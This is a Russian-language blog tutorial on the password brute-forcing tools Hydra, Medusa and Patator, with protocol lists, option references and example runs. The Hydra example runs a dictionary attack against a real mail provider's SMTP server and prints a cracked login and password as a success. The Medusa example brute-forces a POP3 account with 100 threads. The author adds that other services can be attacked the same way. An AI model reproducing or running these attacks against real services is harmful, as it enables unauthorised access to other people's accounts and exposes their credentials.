“Брутфорс (полный перебор, en brute force/Bruteforce, в обиходе просто брут) — метод «грубой силы» или «атака в лоб», перебор паролей, попытка подобрать пароль полным или частичным перебором. Специфика данного метода взлома состоит в том, что он не гарантирует успех подбора правильного пароля, однако процент достижения поставленной цели возрастает от количества паролей которые изначально заданы. Для этого существует несколько утилит — Hydra, Medusa, Patator.
Что же собой представляет Hydra, в основе программы лежит модульная структура, поэтому проект с самого начала быстро развивался: количество поддерживаемых протоколов росло как на дрожжах. Сейчас с помощью гидры пароль можно подобрать к более чем 30 протоколам, включая telnet, ftp, http, https, smb, несколькими СУБД.
В настоящее время поддерживаются следующие протоколы: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
Опции Hydra :
—R восстановить предыдущую прерванную/оборванную сессию
—S выполнить SSL соединение
—s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь
—l ЛОГИН или —L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА
—p ПАРОЛЬ или —P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА
—x МИНИМУМ:МАКСИМУМ:НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите «-x -h» для помощи
—e nsr «n» — пробовать с пустым паролем, «s» — логин в качестве пароля и/или «r» — реверс учётных данных
—u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции —x)
—C ФАЙЛ формат где «логин:пароль» разделены двоеточиями, вместо опции —L/—P
—M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ‘:’ можно задать порт
—o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода
—f / —F выйти, когда пара логин/пароль подобрана (—M: —f для хоста, —F глобально)
—t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)
—w / —W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток
—4 / —6 предпочитать IPv4 (по умолчанию) или IPv6 адреса
—v / —V / —d вербальный режим / показывать логин+пароль для каждой попытки /режимотладки
—q не печатать сообщения об ошибках соединения
—U подробные сведения об использовании модуля
server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция —M)
service служба для взлома (смотрите список поддерживаемых протоколов)
OPT некоторые модули служб поддерживают дополнительный ввод (—U для справки по модулю)
|
вот не большой наглядный приемчик брут по smtp :
Вводим команду:
1
|
hydra —L /home/mironich/login.txt —P /home/mironich/pass.txt smtp.yandex.ru smtp—auth
|
важно написать именно smtp-auth а не smtp ибо выдаст ошибку.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
mironich@mironich—Pk:/$ hydra —L /home/mironich/login.txt —P /home/mironich/pass.txt smtp.yandex.ru smtp—auth
Hydra v8.0.0 (c) 2016 by van Hauser / THC — use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2016-12-10 13:58:42
[DATA] 16 tasks, 1 servers, 30 login tries (l:6/p:5), ~1 tries per task
[DATA] attacking service smtp—auth on port 25
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
[STATUS] attack finished for smtp.yandex.ru (waiting for childs to finish)
Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password
[25][smtpauth] host: 87.250.250.38 login: Hjlt6658 password: Hjklopm
|
Небольшой пример брута по словарю, и сбрученая почта аналогично можно поступать с остальными сервисами.
Medusa и Hydra во многом похожи они модульные и «многопоточные», с хорошо настраиваемыми возможностями. Основное различие в том, как распараллеливается процесс перебора: у Medusa – потоками, у Hydra – процессами. Что дает первой некое преимущество.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
Опции Medusa :
—h [TARGET] : указываем имя узла или IP адрес для брута
—H [FILE] : файл с именами или IP дресами для брута
—u [TARGET] : имя пользователя
—U [FILE] : файл с именами пользователя
—p [TARGET] :пароль
—P [FILE] : файл с паролями для перебора
—С [FILE] : файл с сотавными записями для перебора формат записи host:user:password ... либо же можно указать PwDump файл (user:id:lm:ntlm:::)
—O [FILE] : лог файл для записи информации об успешности/неуспешности попыки
—e [n/s/ns] : дополнительные опции при подборе, —n подставлять в качестве пароля пустой пароль, —s имя пользователя
—M [TEXT] : выбор модуля(протокола) для пербора
—m [TEXT] : параметры для передачи в модуль
—d : вывести список модулей
—n [NUM] : определяет нестандартный TCP порт
—s : использовать SSL
—g [NUM] : прекратить попытки соединения после NUM секунд
—r [NUM] : задает временной промежуток между попытками
—R [NUM] : пробовать NUM раз прежде чем прекратить перебор
—t [NUM] : общее количество логинов которое может проверяться одновременно (количество потоков)
—T [NUM] : общее количество узлов которое может проверяться одновременно
—L : распараллеливание вычисления, использовать по одному имени пользователя на поток
—f : прекратить перебор хоста после первого удачного варианта
—F : прекратить весь перебор после первого удачного варианта
—b : не показывать баннер при запуске
—q : показать информацию по используемуму модулю пример medusa —M smbnt —q
—v [NUM] : Задает насколько подробен вывод программы NUM=[0—6]
—w [NUM] : Задает насколько подробен вывод сообщений об ошибках. NUM=[0..10]
—V : вывод версии
—z [TEXT] : выводит информации о предыдущем сканировании
|
Пример использования
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
$ medusa —d
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Available modules in «.» :
Available modules in «/usr/local/lib/medusa/modules» :
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.0
+ http.mod : Brute force module for HTTP : version 2.0
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for M$—SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
+ smtp—vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.0
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.0
+ web—form.mod : Brute force module for web forms : version 2.0
+ wrapper.mod : Generic Wrapper Module : version 2.0
$ medusa —M pop3 —q
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
pop3.mod (2.0) JoMo—Kun <jmk@foofus.net> :: Brute force module for POP3 sessions
Available module options:
MODE:? (NORMAL, AS400) [optional]
Sets the mode for error detection.
AUTH:? (Authentication Type (USER/PLAIN/LOGIN/NTLM). Default: automatic)
Module will query service for accepted methods via an «AUTH» request.
USER (clear—text), SASL PLAIN, SASL LOGIN, and SASL NTLM authentication methods are supported.
DOMAIN:? [optional]
AUTH USER — Appends domain to username (e.g. user@domain.com).
AUTH NTLM — Supplies specified domain during NTLM authentication. The default
behaviour is to use the server supplied domain value.
Usage example:
«medusa -M pop3 -m MODE:AS400 -U accounts.txt -p password»
«medusa -M pop3 -m DOMAIN:foo.com -U accounts.txt -p password»
medusa —M pop3 —h mail.example.com —u admin —P ~/password.txt —O ~/brut.log —w 10 —v 6 —F —t 100
|
Брутфорс узла mail.example.com по протоколу pop3 (входящая почта), пользователь admin, словарь паролей лежит в домашнем каталоге в файле password.txt, записывать результат в файл иrut.log, максимальный уровень вывода и отладки, перебирать в сто потоков.
Что же касается Patator-а он меня меня привлек возможностью очень хитро настраивать фильтрацию определенных ответов от серверов (это нельзя делать ни в Hydra, ни в Medusa). Например, они будут пропускать легитимный логин/пароль, если ответ будет 400, 402, 405, 406 и так далее. Это связанно с тем, что реализация != RFC. A в patator все это можно легко настроить. При этом мы все так же можем указывать необходимые словари и куда их необходимо вставлять. А из интересных фич можно выделить: показ прогресса выполнения и возможность поставить перебор на паузу.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
Модули Patator:
ftp_login : Брут—форс FTP
ssh_login : Брут—форс SSH
telnet_login : Брут—форс Telnet
smtp_login : Брут—форс SMTP
smtp_vrfy : Перечисление валидных пользователей с использованием SMTP VRFY
smtp_rcpt : Перечисление валидных пользователей с использованием SMTP RCPT TO
finger_lookup : Перечисление валидных пользователей с использованием Finger
http_fuzz : Брут—форс HTTP
pop_login : Брут—форс POP3
pop_passd : Брут—форс poppassd (http://netwinsite.com/poppassd/)
imap_login : Брут—форс IMAP4
ldap_login : Брут—форс LDAP
smb_login : Брут—форс SMB
smb_lookupsid : Брут—форс SMB SID—lookup
rlogin_login : Брут—форс rlogin
vmauthd_login : Брут—форс демона аутентификации VMware
mssql_login : Брут—форс MSSQL
oracle_login : Брут—форс Oracle
mysql_login : Брут—форс MySQL
mysql_query : Брут—форс запросов MySQL
rdp_login : Брут—форс RDP (NLA)
pgsql_login : Брут—форс PostgreSQL
vnc_login : Брут—форс VNC
dns_forward : Прямой поиск DNS
dns_reverse : Обратный поиск DNS
snmp_login : Брут—форс SNMP v1/2/3
ike_enum : Перечисление преобразований IKE
unzip_pass : Брутфорс паролей зашифрованных файлов ZIP
keystore_pass : Брутфорс паролей файлов хранилища ключей Java
umbraco_crack : Взлом хешей паролей Umbraco HMAC—SHA1
tcp_fuzz : Фаззинг TCP служб
dummy_test : Модуль тестирования
|
Пример использования на ZIP file:
1
2
3
4
5
6
7
8
9
|
unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic —x ignore:code!=0
10:54:29 patator INFO — Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT
10:54:29 patator INFO —
10:54:29 patator INFO — code size | candidate | num | mesg
10:54:29 patator INFO — ———————————————————————————————————
10:54:30 patator INFO — 0 82 | love | 387 | 0 [82] No errors detected in compressed data of challenge1.zip.
^C
10:54:31 patator INFO — Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s
10:54:31 patator INFO — To resume execution, pass —resume 166,164,165,166,155,158,148,158,155,154
|
сам patator можно найти тут : https://github.com/lanjelot/patator
Добавить комментарий